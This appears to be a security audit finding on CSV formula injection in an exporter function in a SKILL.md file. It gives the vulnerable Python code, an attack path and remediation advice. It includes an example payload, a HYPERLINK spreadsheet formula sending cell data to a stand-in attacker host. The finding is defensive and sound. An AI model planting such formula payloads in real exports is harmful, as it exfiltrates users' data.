T09 · Insecure Skill Coding Practices
- Location
SKILL.md:348- Finding
CSV Formula Injection in Exported Data
- Content
View full analysis
Vulnerability Details
File Location:
SKILL.md, lines 348-365
Vulnerability Type: CSV formula injection
Risk Level: MediumVulnerable Code
python def to_csv(data, headers=None): if not data: return "" output = StringIO() if isinstance(data[0], dict): headers = headers or list(data[0].keys()) writer = csv.DictWriter(output, fieldnames=headers) writer.writeheader() writer.writerows(data) else: writer = csv.writer(output) if headers: writer.writerow(headers) writer.writerows(data) return output.getvalue()Technical Analysis
The CSV exporter writes headers and cell values directly to the output without neutralizing spreadsheet formula prefixes. If attacker-controlled data begins with characters such as
=,+,-, or@, spreadsheet software may interpret the value as a formula rather than plain text.For example, an attacker could provide a value resembling:
text =HYPERLINK("https://attacker.example/collect?data="&A1,"Open")The exact behavior and available formula capabilities depend on the spreadsheet application and its security configuration. The Python
csvmodule correctly escapes CSV syntax, but CSV quoting does not prevent spreadsheet applications from evaluating formulas.Attack Path
- An attacker supplies structured or unstructured input containing a formula-prefixed value.
- The Skill parses the input and preserves that value in a data row or header.
to_csv()passes the value directly tocsv.DictWriterorcsv.writer.- A user downloads or saves the generated CSV.
- The user opens the CSV in formula-capable spreadsheet software.
- The spreadsheet interprets the attacker-controlled cell as a formula.
- Depending on application behavior and security settings, the formula may display deceptive conte ...[truncated 615 chars]
- Remediation
View remediation
Remediation Suggestions
- Apply spreadsheet-aware neutralization to every exported header and cell.
- Treat values beginning with
=,+,-, or@as potentially dangerous. - Prefix dangerous values with a single quote or use another neutralization scheme appropriate for the intended spreadsheet applications.
- Perform neutralization before passing values to
csv.writerorcsv.DictWriter. - Avoid stripping the neutralization prefix during later processing.
- Document whether CSV output is intended for machine ingestion or interactive spreadsheet use.
- Add tests covering malicious values in headers and cells, including values preceded by whitespace, tabs, carriage returns, or newlines.
- Retain standard CSV escaping in addition to formula neutralization; the two protections address different concerns.
Example hardening approach:
python def neutralize_spreadsheet_cell(value): if not isinstance(value, str): return value dangerous = value.lstrip().startswith(("=", "+", "-", "@")) return "'" + value if dangerous else value
